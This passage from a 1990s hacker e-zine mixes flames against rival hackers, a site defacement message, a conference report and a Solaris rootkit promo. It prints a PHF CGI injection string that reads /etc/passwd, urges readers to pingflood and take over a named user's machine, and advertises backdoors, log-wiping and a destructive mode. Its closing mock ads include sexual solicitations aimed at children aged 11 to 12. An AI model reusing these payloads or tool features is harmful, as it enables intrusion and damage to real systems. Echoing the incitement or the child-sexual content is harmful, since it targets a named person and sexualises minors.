computer-waged campaigns of terror and chaos against the U.S., the makers of Congressional reports resorted to telling the same story over and over, three times in the space of the hearings on the subject. One envisions U.S. Congressmen too stupid or apathetic to complain, "Hey, didn't we get that yesterday, and the day before?" Pryce and Bevan appeared in "Security in Cyberspace" and twice in Government Accounting Office reports AIMD-96-84 and T-AIMD96-92. Jim Christy, the co-author of "Security in Cyberspace" and the Air Force Office of Special Investigations' source for the Pryce case supplied the same tale for Jack Brock, author of the GAO reports. Brock writes, ". . . Air Force officials told us that at least one of the hackers may have been working for a foreign country interested in obtaining military research data or areas in which the Air Force was conducting advanced research." It was, apparently, more wishful thinking. This years UK hacking conference : Access All Areas. http://www.access.org.uk July 5th. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 2. [GUNNAR], MadSeason and sIn : so1o ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Some dudes called MadSeason and [GUNNAR] has been proving sIn's true lameness and logging it all at the same time, phear elite logging skills... ################################################################################## # # # Darkfool # # (What a Fool/The PHF hacker) # # BY [GUNNAR] # # # ################################################################################## Ever read a hacking txt by this guy? Ever realize just how useless the information his txt's are? Nothing in his txt files aren't covered in a hundred text files written before which better explain hacking techniques. Like a quote from my pal MadSeason goes: "The fact is these txt files about hacking and phreaking are written by people with minimal knowledge. Then you have some newbie who comes along wanting to be some hacker god and reads a few files and has even less of a clue then the writer had about the subject, then goes around spewing out bullshit and claiming they are a hacker and/or phreaker, just an endless circle of ignorance." That quote is so true. All these hack txt's realeased by these groups like S.I.N. and Techonophoria are just crap. About the only exploit that Darkfool knows the the PHF bug found in older versions of NCSA and Apache httpd. This bug is very well know(And over exploited might I add.). Do a search for ac.jp or edu.au domains, and adding to the address "cgi-bin/phf?Qalias=x%0a/bin/cat%20 /etc/passwd" is neither impressive nor is it even hacking. It's a lame excuse for hacking. Darkfool claims many things that he doesn't know. For instance, take pascal programming. He claims to know it, but when asked a single question on it by, Scorpion(MadSeason), he cannot answer. Here is a little something: [13:53] How many parameters do Cluster object constructors take in pascal, DF? [13:53] i have no idea scorpion [13:54] I thought you knew Pascal [13:54] i am learning it at college There is a big difference between knowing and learning. I guess Darkfool doesn't realize that. It's all a part of trying to sound and seem "elite". Which Darkfool is far from being. Seems as thought Darkfool and the rest of his S.I.N. pals are compying MadSeason and myself, and questioning peoples abilities. It's funny though, when MadSeason and I got to #sin questioning them, we get kicked for making them look stupid. And when they as us something, and it doesn't go quite as they planned it. Look what they do... [14:14] *** Now talking in #sin [14:15] hey [14:15] how do i kill all jobs running on a shell ? <[GUNNAR]> Well hello there! [14:15] hey <[GUNNAR]> kill -9 PID <[GUNNAR]> If you really wanna kill it. <[GUNNAR]> Boo Hoo. <[GUNNAR]> Damn, that one didn't go well for you did it? <[GUNNAR]> BTW, use the ps command to get the PID. <[GUNNAR]> la la la la... [14:17] *** Sinning sets mode: +b *!*@*.wco.com [14:17] *** You were kicked by Fa|lur3 (banned) In short, Darkfool, S.I.N. and the rest like him are really just wannabes trying to sound big and bad. Nothing wrong with groups or people who actually hack. But, when you have a group like S.I.N. who's members claim more than they know, it is truely sad. I myself and no great hacker(I'm not a hack. Plain and simple.) nor am I some s00per programmer. But the thing is, I do not claim more than I actually know. This is obviously not how Darkfool thinks of things. He wants to be known as a s00per hacker, which he is not. I'm writing this so you(The Readers) don't buy into this bullshit and be misled by people like Darkfool and the group he is in S.I.N.! They are truely sad people. What a shame I have brought out the truth! I think more is somewhere on http://www.ilf.net/teknopia/ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 3. "Welcome to the [D]epartment of [O]wned [E]nergy" : so1o ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ The http://www.doe.ca (Canadian Dept. of Energy) was changed last weekend...

Welcome To The [D]epartment of [O]wned [E]nergy

You could define this as an act of aggression, or you could define it as us, the hackers (or crackers), just adivising you to try and make it more difficult for us, at least employ consultants etc. who have a CLUE. because one day, in the not so distant future, the internet equivalent of Pearl Harbour will occur, and we will only be around to say "We told you so", until that day, we will keep reminding you, get some security, its better for you, its better for us, its better for everyone.

In this case, even though your system runs HP-UX, we advise you still take the time to look into all the exploits that are available for this operating system, and then get over to www.cert.org to find some advisories.

This attack was brought to you in association with 0range Amusements.

Greets to so1o, helix, xFli, modeX, c0d, xrx, zer0x, organik, phractal chaos and all the usual suspects.

In the meantime, maybe you would like to visit...

The CrackHouse

Micro$oft

The CodeZero

We 0wN j00r EnErGy!@# wE 0wN j00R LiGhTbUlBz!@#~

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 4. LOPHT.COM : so1o ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Get into any shell, and type... % whois lopht.com ...It's elite (lookup sIn inf0z to see) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 5. AAA Report : so1o ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ AAA stands for Access All Areas, it is a computer security and hacking conference held in the UK in early July of every year, this would be the third year of AAA, and myself and NightRage were going. Myself and NightRage arrived on Regent Street at 9:30am, we entered the University of Westminster building, purchased two passes for the event, and proceeded to the conference room, where there were many people aged between 16 and around 40, all with a handful of common interests, hacking, phreaking, carding and generally the ability to gain power, or "free stuff". We sat down on the ground floor near the back of the room, we got talking to a french hacker, called Leon (aka acme), we joked about "o-DaY WaReZ" and then Nightrage booted his p150 laptop, then Leon pulled out his Thinkpad, he booted it, and it counted up to 64mb of RAM, we asked how much hard drive space he had to which he casually replied "6 gig", Leon knew stuff. The first speaker was Ross Anderson, who explained how our predecessors had broken into cash machines (atm's) using various techniques, as well as the flaws in such machines and systems, ranging from all cards having the same PIN, to a trick that Shefield hackers used with phone cards to get cash. He then went on to smartcards and encryption and finished around 11am. We then went up to the network room, where the "hack the flag" competition was to be held, there were a handful of people up there, including a photgrapher and some staff, I only saw 3 systems and 2 terminals, not really enough to use for any competition. Leon sat down and started to toy with his laptop and some CD's he had purchased in Pakistan the day before, he had voice recognition programs and games and a few other "expensive" CD's. We met an American wearing an FBI cap, he also had a laptop, as well as another with long blonde / grayish hear who did alot of cool stuff with the phone line in the network room using various toys he had. We needed to set up a network, we had numerous modems, one network hub with 5 ports, around 8 systems and one phone socket. We soon realised through various methods (one using NightRage's cheap blue telephone) that the only phone socket in the room went through the reception, so NightRage phoned down to the reception, and tried to use his amazing social engineering skills.. Reception : "hello?" NightRage : "hi, is there any way I can get an outside line from this phone?" Reception : "no" NightRage : "OK" We then went on a hunt for working phone lines or hubs that we could use to help us set up our network, the FBI dude soon found a cabinet that looked important, and NightRage and the others helped him pick the lock, inside they found a 3com network hub and a few other goodies, the FBI dude got his laptop and tried to hack his way onto the network, but he couldn't use traceroute or any other programs, so that hub was useless to us unless we knew our own IP. Two younger hackers started to manually wardial the extensions, they found a handful of modem numbers in a very short amount of time. We were quite impressed by their skills. The guy with the long blond / grayish hair went down to a computer shop on Regent street to buy some RJ45 cable so we could use the hub in the cabinet, but he left before we realised that it wasn't usable. Emerson was getting really stressed out, as he was one of the staff, and he had promised the University that no damage would be done to any of the phone / computer lines, he needed a plan to stall us, even though we were telling him everything would be fine, and that we would leave all the stuff as it was when we found it, he was still scared at the consequences, and it was time for lunch, we originally planned to just pop over the street to grab a McDonalds, but Emerson started to take us down Regent street, he asked if we wanted to eat for around œ5 at a place he knew well, we agreed, the time was around 1pm... Emerson proceeded to take myself, NightRage, the FBI dude, Wyatt and the two that had manually wardialled the extensions half way around London, we walked down Regent street, onto Tottenham court road and around a load of shops, Wyatt and the FBI dude suggested we should grab a beer, and we easily found a pub. We stopped into the pub and all ordered drinks, we then sat outside and talked about the L0phT, global posistioning and scanning, we left the pub at about 2pm and made our way through alot of roads and came to Kamamama's Japanese restaurant, after stopping into alot of shops on the way and talking about oki phones. We ate good Japanese food in Kamamama's, and Wyatt used his tiny scanner to detect radio comms within the building, his scanner was cool, and he tried to pinpoint the frequency that the waiters broadcast the orders with their handheld systems, at one point he placed the scanner right up next to the handheld and said "can you press that button one more time please". Wyatt also had a transciever that he could use to broadcast on, so he could pinpoint a frequency with his scanner, and the broadcast with his tiny transciever on that frequency. The time was now around 3pm, and we made our way back through a very busy London to the conference, when we got back we went back up to the network room, not alot had happened since we had been away (much as Emerson would have expected) and myself and NightRage toyed with systems for about 30 minutes We then listened to another talk by a journalist who often writes of hacking and computer security issues, called Dave Green (I think), Cold-Fire and the people on the balcony often questioned him, and he generally said "no-one cares what you do, so why should I write about it?" which was pretty true, then another journalist went on saying that he would pay for such stories if they had reason behind them (ie. web site attacks), this was quite interesting. The last talk myself and NightRage listened to was Alan Solomon, to which I asked, when he was talking about the Linux version of his toolkit... "Yeah, does the Linux version detect Windoze '95 as a virus?" He didn't understand, but he's cl00less and hangs on AOL all day... He then went on to talk a load of crap about how amazing AOL was, then he talked about how he has been mailbombed and how "phishers" have tried to pull all his account inf0z (passwords etc.) he was also shouting into the microphone, and I had a speaker right next to me, and I had my finger in one ear for most of the talk, due to the fact that he shouted into the microphone, he also breathed very heavily and walked around alot. We went back up to the network room, which now had 2 systems and 2 terminals, swapped email addresses with Wyatt, Emerson, the FBI dude and a few others, we then said our goodbyes, and left to catch the 8:30 train from Paddington Station. AAA was cool, it was just a pity that only one of the three planned special events actually took place, as well as the fact that there really wasn't enough time for the people there to talk with each other. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 6. Lamer of the fucking year : pSId (DALnet) : so1o ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Theres a fucking cl00less g1mp on DALnet called pSId, but then again, most people on DALnet are cl00less, this "cracker" however has the following "mad" skills... - phf - tftp His most highly acclaimed hack was of sony.co.jp (guess the technique.) and since then he has blatently lied about hacking bolero.gsfc.nasa.gov (www.nasa.gov alias) which he says runs tftp. If you see him *anywhere* feel free to pingflood his IP, 0wn his lame fuck Linux box, or anything else. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ =============================================================================== ==[ PROJECTS ]=================[ .SECTION F. ]===================[ PROJECTS ]== =============================================================================== ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 1. STiK : mstrhelix ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ -=STiK=- (S)olaris (T)ool (i)diot (K)it ****************************** STiK is a deluxe rootkit for the solaris platform containing not only tools that enable you to gain root access it also allows you to keep it with backdoors. The Alpha version of STiK includes exploits, backdoors, sniffers, connection hijackers, a stealth mode, and eventualy will also include other kewl tewls such as spoofers, other new inovative remote root access backdoors, and maybe if I have enough time a extra option to help you construct your own buffer overflow exploits. STiK supports these platforms... sparc10 and sparc20 and it minimaly supports x86 platforms. The only conflicts you may have while using this tool is if, (like an (i)diot) you use the -Sun4 switch on a solaris 5.x machine or say the -x86 swtich on a -Sun5 and visa versa... but nobody is that stupid. STiK includes the following options.... -Sun4, -Sol5, -x86 --> compiles exploits for following platforms. -backdrs --> installs backdoors and suggests 'em. -stealth --> does whut it says... and very well. -destruc --> if you get cauaght online reek some havok -man --> shows 3r33t manpage -Sun4 compiles loits for SunOS 4.x -Sol5 compiles loits for Solaris 2.5.x -x86 compiles loits for x86 platforms of solaris and sunos -backdrs backdoor menu feature,,, pick and choose or mix and match -stealth invokes programs such as cloak, zap2, block, and etc... -destruc if you get caught and booted this will invoke and fuck some shit up majorly. We dont wanna be destructive but hey !!!YOU FUCKING KICKED ME OFF YER MACHINE ASSHOLE I DIDN'T INVOKE THE -destruc FEATURE R00T DID!!! -man full featured reverse switched manpage to fuck wid yer headz If you'z mutha fuxx0rs have any shit you would like me to add so STiK then speak now or do without cause I have been hard at work coding shit... Also anyone who wants to help port lrk3 backdoors and shit to solaris drop me a line cause its a bitch doing it all by yerself... edge@mindwerks.com ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ =============================================================================== ==[ FIN ]======================[ .SECTION G. ]========================[ FIN ]== =============================================================================== ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ --------------------------------------+--------------------------------------- | YOUR SPECIAL AD | LET'S BE FREE | COULD BE RIGHT HERE #@! | Gay White Male 38, 5'11" looking | for men, 12 - 32 clean, fit, and SEND ELECTRONIC MAIL TO: | hairy. Discreet Encounters. ADZ@CODEZ.COM | Call Anytime : (816)781-8009 | (Ask for Tommy) | --------------------------------------+--------------------------------------- | ARE YOU 11 OR 12 ??? | FREE FONESEX! CALL ME NOW!@ | Looking for men 11 - 12 for adult | Yeah huney, you know you want me, video satisfaction. I am 35 into | I'll treat you just right, I'm Professional wrestling. | waiting for your call today! Let's talk soon : (816)453-8722 | CALL ME NOW!@# : (847)546-9154 | (Ask for Kim) --------------------------------------+--------------------------------------- ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ .oO The CodeZero Oo. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ _ /| k0dek4t sez... \'o O' =(_o_)= "EyEm HuNGaRy FoR CoDeZ, U nOt CaTf00d!!#@" ::: http://insecurity.insecurity.org/codez/ ::: ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Remember, McDonalds Owns You, And Ronald Is The KinG!!! Wendy Is Satan!! Don't Believe The Lies!! PHEAR WENDY!@#* ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ